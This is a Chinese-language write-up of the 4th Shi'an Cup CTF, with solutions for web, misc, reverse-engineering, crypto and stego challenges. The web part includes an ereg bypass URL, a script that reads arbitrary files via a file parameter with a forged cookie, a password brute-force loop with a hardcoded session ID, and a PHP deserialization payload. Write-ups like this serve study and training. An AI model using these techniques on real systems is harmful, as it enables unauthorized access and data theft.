第四屆世安杯
哎,水題一堆,還大都都是原題,進了線下賽也沒時間去,太趕了
WEB
ctf入門級題目
<?php
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo '<p class="alert">You password must be alphanumeric</p>';
else if (strpos ($_GET['password'], '--') !== FALSE )
die($flag);
else
echo '<p class="alert">Invalid password</p>';
}
?>
<section class="login">
<div class="title">
<a href="./index.phps">View Source</a>
</div>
<form method="POST">
<input type="text" required name="password" placeholder="Password" /><br/>
<input type="submit"/>
</form>
</section>
</body>
</html>
由於需要繞過ereg,又必須存在– 簡單
http://ctf1.shiyanbar.com/shian-rao/?password[]=--
flag{Maybe_using_rexpexp_wasnt_a_clever_move}
曲奇餅
一看後面的file是檔名的base64加密,應該可以讀取任意檔案程式碼,由於line是來控制顯示行數,所以寫個指令碼
import requests
url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={0}&file=aW5kZXgucGhw"
for i in range(0,20):
url1 = url.format(i)
s = requests.get(url1)
print s.text
得到index.php程式碼
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
簡單,就是加一個cookies
flag{UHGgd3rfH*(3HFhuiEIWF}
型別
簡單的程式碼審計,x1就是不能是全數字又能大於2017,那就是2018a
第二個就是根據情況構造陣列,第三個需要爆破
指令碼
import random
import string
import hashlib
import base64
import re
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
i = 0
while 1:
i +=1
#print i
string = 'XIPU'
string2=''
#print string
s = string+string2.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
print s,md5(s)[8:24],md5("15562")[8:24]
if (re.findall('^0e[0-9]{14,14}$',md5(s)[8:24])):
print s
break
CTF{Php_1s_bstl4_1a}
登入
額,明顯就是爆破密碼
指令碼
import requests
cookies = {
"PHPSESSID":"baukg3luocsduh2a1khcqoshh2"
}
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
for m in range(0,10):
for n in range(0,10):
num1 = str(i)+str(j)+str(k)+str(m)+str(n)
url1 = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={0}&randcode={1}"
url = "http://ctf1.shiyanbar.com/shian-s/"
s = requests.get(url,cookies=cookies)
string = s.text
num = string.find("randcode")
print num
num2 = string[num+30:num+33]
print string[num+30:num+33]
url2 = url1.format(num1,num2)
print url2
s2 = requests.get(url2,cookies=cookies)
if "{" in s2.content:
print s2.content
exit(0)
#print string[num+16::3]
flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}
admin
先是利用php偽協議寫入
然後發現後面有一個檔案包含,直接讀取class.php的原始碼
構造一下序列化
<?php
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$a = new Read();
$a->file="f1a9.php";
echo serialize($a);
?>
flag_Xd{hSh_ctf:[email protected]}
雜項
reverseMe
檢視16進位制,發現最後是jpg的檔案頭
直接寫一個指令碼逆過來即可
f = open("C:/Users/lanlan/Desktop/reverseMe",'rb')
g = open("C:/Users/lanlan/Desktop/flag.png",'wb')
g.write(f.read()[::-1])
f.close()
g.close()
反過來即可
flag{4f7548f93c7bef1dc6a0542cf04e796e}
珍妮的qq號
數學題
for i in range(10000,100000):
str1 = str(i)
str2 = str1[::-1]
print i,str2
if i*4 == int(str2):
print int(str2)
break
跑出來既是結果87912
心儀的公司
流量報,裡面的conf1g.php是上傳webshell的,查詢發現又異常圖片下載
fl4g:{ftop_Is_Waiting_4_y}
逆向
android
分析反編譯程式碼可知,需要用特定的廣播資訊觸發apk的相關Activity
關鍵資訊是extra中的msg值為:OpenSesame,可以呼叫adb的root許可權下的am工具
點選BROADCAST按鈕,apk會發出一條廣播,而廣播內容即是將相關字串處理後的關鍵內容
為了接收該廣播,建立了一個廣播接收器:
主要程式碼如下:
intentFilter = new IntentFilter();
intentFilter.addAction("com.flagstore.ctf.OUTGOING_INTENT");
receiver = new NetworkChangeReceiver();
registerReceiver(receiver, intentFilter);
class NetworkChangeReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context,Intent intent){
Toast.makeText(context, "getMessage"+intent.getStringExtra("msg"), Toast.LENGTH_SHORT).show();
}
}
}
將該廣播接收器安裝到手機上並開啟
當點選BROADCAST後,會顯示接收到的訊息:
得到flag
get_flag
輸入之後找演算法,就在這裡:
關鍵就是那個比較,其中eax的計算根據輸入計算得到的,exc在記憶體中提出來的,看懂之後寫演算法:
a = [0xB9 ,0x3A,0xA9,0xD8,0x15, 0x8A, 0xE7 ,0x42,0x69, 0x90, 0xCA, 0xA3, 0x4D, 0xD8, 0xD9, 0xC9 ]
f = ""
for i in range(16):
for j in range(33,128):
if ((2*j-6)^j)-2*i==a[i]:
f += chr(j)
break
print f
flag:mBqL!zS6-hLm)XY_
簡單演算法
這題有點腦洞,根據題目可以算出來很多password(準確來講智慧確定其中9位),我們可以自己計算要異或的值,然後確定完整的flag:
這是計算異或值的程式碼:
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<tchar.h>
int main()
{
int v8 = 0;
int v4 ;
int v9 =0;
int v7 = 0;
for (v7=0;v7<=21;v7++)
{
int v4 = v7+1;
v9 = 0;
v8 = 0;
while ( v8 < v4 )
{
++v8;
v9 = 1828812941 * v9 + 12345;
}
printf("0x%x,",(unsigned __int8)v9);
}
}
然後根據完整的要異或的值,算出完整的flag:
a = "5FF25E8B4E0EA3AAC793813D5F74A309912B49289367"
a = [ord(i) for i in a.decode("hex")]
print len(a)
n = [0x11,0xa,0x11,0xd,0x1,0x0f,0x0,0x6,0x3,0x1]
xor =[0x39,0x9e,0x3f,0xec,0x35,0x6a,0x9b,0x98,0xf1,0xf6,0xb7,0x4,0x6d,0x42,0x93,0x30,0xa9,0x4e,0x2f,0x1c,0xa5,0x1a]
f = ['a','a','a','a','{','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','}']
r = ""
print len(f)
for i in range(22):
f[i] = chr(a[i]^xor[i])
for i in range(len(f)):
r += f[i]
print r
flag:flag{d826e6926098ef46}
console
這是.NET的逆向,有原題。
Reflector開啟後export出來,用VS看一下程式碼:
程式大概流程就是將 CreateByTenshine 字串進行加密後和輸入比較,加密也很簡單,是和[0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11, 0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b,0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47, 0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67,0x6b, 0x6d, 0x71] 裡的第二個至第15個數輪流異或,把 – 刪掉,然後計算md5值。
import hashlib
str1 = [0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11,0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47,0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71]
str2 = "CreateByTenshine"
str3 = ""
for i in xrange(len(str2)):
t= ord(str2[i])
for j in range(1,15):
t = str1[j] ^ t
str3 += chr(t)
for k in xrange(len(str3)):
if (str3[k] == '-'):
str3[k] = ''
print str3
m = hashlib.md5()
m.update(str3)
result = m.hexdigest()
print 'flag{' + result + '}'
最後flag:flag{967DDDFBCD32C1F53527C221D9E40A0B}
bin
64位的ELF檔案,sub_40084A函式會進行反除錯,動態調的時候改下eax就好:
再看主函式,關鍵是sub_40074D
函式判斷:
動態找到qword_601080的地址:
在一開始的時候建好了一個數組,從n到w,然後通過輸入字串,看是否在陣列應該在的位置(5、2、7、2、5、6
),最後比對在這個位置:
所以,結合建立的陣列,最後結果就是rotors
:
動態暴力破解
題目IDA反彙編代程式碼看的很不舒服,因為用的是C++ STL庫進行操作的,導致一些函式名很長。搜尋一些string找到了類似flag(有左右花括號)的字串:
走一下流程,輸入位置下斷:
然後在記憶體中找到了硬編碼的字串:dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhj
然後走下來,輸入被 sub_401210
加密了一下,加密後與加密前長度一樣,但是不是普通的凱撒,因為相同的輸入與輸出不一樣,不過在加密的過程中,用到了這個字串,猜測flag是經過該字串加密後成了現在這個樣子:FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{
然後寫寫指令碼跑一下:
s1 = 'FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{'
s2 = 'dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhj'
s1 = list(s1)
for i in range(len(s1)):
pos = ord(s2[i])-ord('a')
if s1[i]=='{':
s1[i]='}'
elif s1[i]=='}':
s1[i]='{'
elif s1[i]=='_':
pass
else:
if s1[i].islower():
s1[i] = chr(ord(s1[i])-pos%26)
if ord(s1[i])<ord('a'):
s1[i] = chr(ord(s1[i])+26)
elif s1[i].isupper():
s1[i] = chr(ord(s1[i])-pos%26)
if ord(s1[i])<ord('A'):
s1[i] = chr(ord(s1[i])+26)
else:
pass
f = ""
print s1
for i in range(len(s1)):
f+=s1[i]
print f
這是flag:
密碼學
rsa
這個就是給了,n,c然後e應該是3,這樣的話直接利用bystudent師傅的指令碼即可
from libnum import s2n,n2s
from gmpy2 import iroot
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
e = 3
c = 2044619806634581710230401748541393297937319
i = 0
while 1:
res = iroot(c+i*n,3)
if(res[1] == True):
print res
break
print "i="+str(i)
i = i+1
m = 126922179506039
print n2s(m)
so_low
隱寫
low
做過的原題,用stegsolve分析無果,但是通過觀察發現是RGB的通道有問題,直接套用指令碼
# -*- coding: utf8 -*-
#low
import Image
def foo():
im=Image.open('C:/Users/lanlan/Desktop/low.bmp')
im2=im.copy()
pix=im2.load()
width,height=im2.size
for x in xrange(0,width):
for y in xrange(0,height):
#LSB
if pix[x,y]&0x1==0:
pix[x,y]=255 #
else:
pix[x,y]=0
im2.show()
pass
if __name__ == '__main__':
foo()
print 'ok'
pass
flag{139711e8e9ed545e}
斑馬斑馬
這題也簡單,把斑馬身上的條紋處理一下,可得到條碼,掃描即可
FLAG IS TENSHINE
坑的flag居然是小寫
tenshine
CreateByWho
一堆碎片,用ps拼起來
Create-By-SimpleLab
適合作為桌面的圖片
首先是一張圖片,然後用StegSolve
進行分析,發現二維碼
掃碼得到一串字元
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000
猜測是16進位制,頭像pyc的頭部,直接儲存反編譯記得原python程式碼
#!/usr/bin/env python
# encoding: utf-8
# 訪問 http://tool.lu/pyc/ 檢視更多資訊
def flag():
str = [
102,
108,
97,
103,
123,
51,
56,
97,
53,
55,
48,
51,
50,
48,
56,
53,
52,
52,
49,
101,
55,![enter description here][32]
125]
flag = ''
for i in str:
flag += chr(i)
print flag
flag()
flag{38a57032085441e7}
相關推薦
第四屆世安杯
哎,水題一堆,還大都都是原題,進了線下賽也沒時間去,太趕了 WEB ctf入門級題目 <?php $flag = '*********'; if (isset ($_GET['password'])) { if (ereg ("^[a-zA
第四屆“”世安杯“”線上賽題解(Web+Stego+Misc+Crypto)
題目很多原題,但是還是考驗了不少的知識點,就算是原來見過的也當做是複習了一下知識點了。 WEB ctf入門級題目 非常水的一道題,可以看到原始碼,然後利用%00截斷就可以通過了 曲奇餅 原題,直接利用line和file來洩露檔案內容,通
東秦第四屆圖靈杯-G-爬樓梯【DP】
問題 G: 爬樓梯 時間限制: 1 Sec 記憶體限制: 128 MB提交: 161 解決: 57 [提交][狀態][討論版] 題目描述 由於第m個臺階上有好吃的薯條,所以薯片現
第四屆“圖靈杯”NEUQ-ACM 程式設計競賽(團隊賽)
題目描述 NEUQ的穀神要和我賭一個遊戲:穀神要求我隨機在紙上寫出整數集合{1,2,3,…,3n+1}(n是整數)的一個排列(即不重複的隨機寫出從1到3n+1的所有整數)。並且要求在我寫的過程中,從我寫的第一個數開始一直加到我正在寫的數的總和不被3整除
第四屆(13年)藍橋杯java B組決賽真題
pla 標題 boolean pub for ide 真題 code one 1、標題:猜燈謎(填空) A 村的元宵節燈會上有一迷題: 請猜謎 * 請猜謎 = 請邊賞燈邊猜 小明想,一定是每個漢字代表一個數字,不同的漢字代表不同的數字。
算法筆記_204:第四屆藍橋杯軟件類決賽真題(Java語言C組)
系統 主類 文字 新節點 origin pack log 破壞 src 目錄 1 好好學習 2 埃及分數 3 金蟬素數 4 橫向打印二叉樹 5 危險系數 6 公式求值 1 好好學習 湯姆跟爺爺來中國旅遊。一天,他幫助中國的小朋友貼標語。他負責貼的標語是分別寫在四
第四屆藍橋杯真題 連號區間
max 排列 add sca ace box 題目 initial for 本來想練習並查集,然後在看官網提示這是並查集類型題目,上來先默寫了一下並查集,想了半天並查集怎麽寫。。我呸,並查集。。這裏找規律。。區間的【最大值-最小值】=【區間長度】,直接枚舉。。。討厭這種找規
第四屆藍橋杯第七題 錯誤票據
.com n) Go col nbsp lag int com while 題解:寫了簡單題,好開心,我果然不適合學算法.......寫寫簡單題,當個鹹魚就好了嘛!! #include <iostream> #include <algorith
第四屆藍橋杯第八題 翻硬幣
i++ nbsp ans namespace == pos else main 硬幣 題解:簡單貪心, 比賽之前寫寫水題 #include <iostream> #include <cstring> #include <strin
第四屆藍橋杯比賽題目——風扇控制系統
black play 程序說明 sign 狀態機 stat mode led 可用 /* 程序說明: 第七屆省賽風扇控制系統 軟件環境: Keil uVision 4.10 硬件環境: CT107單片機綜合實訓平臺(內部晶振11.0592MHZ) STC15F2
A__Writeup“百越杯”第四屆福建省高校網路空間安全大賽——致我的戰隊HeroCat的所有成員
作 者:HeroCat出 處:https://www.cnblogs.com/HeroCat/ 特此宣告:歡迎園子的大大們指正錯誤,共同進步。如有問題或建議,也請各位大佬多多賜教!如果您覺得文章對您有幫助,可以點選文章右下角【推薦】一下。版權宣告:本文版權歸作
[藍橋杯][2013年第四屆真題]買不到的數目
題目描述 小明開了一家糖果店。他別出心裁:把水果糖包成4顆一包和7顆一包的兩種。糖果不能拆包賣。 小朋友來買糖的時候,他就用這兩種包裝來組合。當然有些糖果數目是無法組合出來的,比如要買 10 顆糖。 你可以用計算機測試一下,在這種包裝情況下,最大不能買到的數量是17。大於17的任何數字都
湖南省第十四屆“嘉傑杯”大學生計算機程式設計大賽 總結
通過這次比賽發現自己和大佬們的差距還很大,此次 做出題目六題以上基本是一等獎了,我們隊伍只做出了三個題,拿銅。 這次比賽也是我們第一次參加大型ACM賽事,完全沒有信心,是以
[藍橋杯][2013年第四屆真題]危險係數
問題描述 抗日戰爭時期,冀中平原的地道戰曾發揮重要作用。 地道的多個站點間有通道連線,形成了龐大的網路。但也有隱患,當敵人發現了某個站點後,其它站點間可能因此會失去聯絡。 我們來定義一個危險係數DF(x,y): 對於兩個站點x和y (x != y), 如果能找到一個站點z,當z被敵人破壞後,
2018湖南省第十四屆“嘉傑杯”大學生計算機程式設計競賽總結
經過三個月的幸苦練習,在省賽這個大舞臺上,我們小隊收穫了一枚銅牌。 從一開始刷南陽oj八十道水題,vj上的二十場校賽,再到多校的場場自閉,CF的熬夜作戰。嗯,我確實付出了很多。 然而我始終在思考,我這麼多的付出到底學到了什麼。貌似也接觸了許多新演算
2018“駭極杯”全國大學生網路安全邀請賽暨第四屆上海市大學生網路安全大賽線上賽 writeup
0x00 簽到題 操作內容: |登陸比賽介面 上去看到簽到題,一般情況下 簽到題是沒有難度的 題目給定一串字元MZWGCZ33GM2TEMRSMQZTALJUGM4WKLJUMFTGELJZGFTDILLBMJSWEYZXGNTGKMBVMN6Q Base32一閃而過
第四屆藍橋杯C++A組 顛倒的價牌
標題:顛倒的價牌小李的店裡專賣其它店中下架的樣品電視機,可稱為:樣品電視專賣店。其標價都是4位數字(即千元不等)。小李為了標價清晰、方便,使用了預製的類似數碼管的標價籤,只要用顏色筆塗數字就可以了(參見p1.jpg)。這種價牌有個特點,對一些數字,倒過來看也是合理的數字。如:
2013年第四屆藍橋杯試題(Java本科B組)
1.標題: 世紀末的星期 曾有邪教稱1999年12月31日是世界末日。當然該謠言已經不攻自破。 還有人稱今後的某個世紀末的12月31日,如果是星期一則會.... 有趣的是,任何一個世紀末的年份的12月31日都不可能是星期一!! 於是,“謠言製造商”又修改為星期日....
第四屆藍橋杯本科B組省賽題目解析
一、題目標題: 高斯日記 大數學家高斯有個好習慣:無論如何都要記日記。 他的日記有個與眾不同的地方,他從不註明年月日,而是用一個整數代替,比如:4210 後來人們知道,那個整數就是日期,它表示那一天是高斯出生後的第幾天。這或許也是個好習慣,它時時刻
山東省第四屆藍橋杯 ///題目標題: 高斯日記//c/c++組
題目標題: 高斯日記 大數學家高斯有個好習慣:無論如何都要記日記。 他的日記有個與眾不同的地方,他從不註明年月日,而是用一個整數代替,比如:4210 後來人們知道,那個整數就是日期,它表示那一天是高斯出生後的第幾天。這或許也是個好習慣,它時時刻刻提